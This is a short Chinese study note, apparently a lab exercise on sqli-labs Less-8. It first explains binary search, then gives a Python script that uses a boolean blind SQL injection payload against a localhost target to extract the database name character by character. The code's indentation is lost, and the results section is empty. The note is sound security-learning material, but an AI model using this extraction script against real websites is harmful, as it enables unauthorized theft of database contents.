关于二分法的知识:
- 首先,从数组的中间元素开始搜索,如果该元素正好是目标元素,则搜索过程结束,否则执行下一步
- 如果目标元素大于/小于中间元素,则在数组大于/小于中间元素的那一半区域查找,然后重复步骤(1)的操作
- 如果某一步数组为空,则表示找不到目标元素
import requests
def database_name():
url="http://127.0.0.1/sql/Less-8/?id=1"
payload="' and ascii(substr(database(),%d,1))>%d--+" #注释不要忘加
db_name='' #这里存储结果的值必须是全局的!!!,因为放在for循环中会被每次循环刷新掉
for i in range(1,9):
min = 65
max = 122
while abs(max-min)>1: #这里不能使用死循环,要有一定条件
mid = int((max+min)/2) #int要把整个式子包括,是加起来!!!
p = payload % (i,mid)
response = requests.get(url+p)
if response.text.find("You are in")!=-1: #find找不到返回-1
min = mid
else:
max=mid
db_name+=chr(max)
print('database_name:',db_name)
database_name()
结果: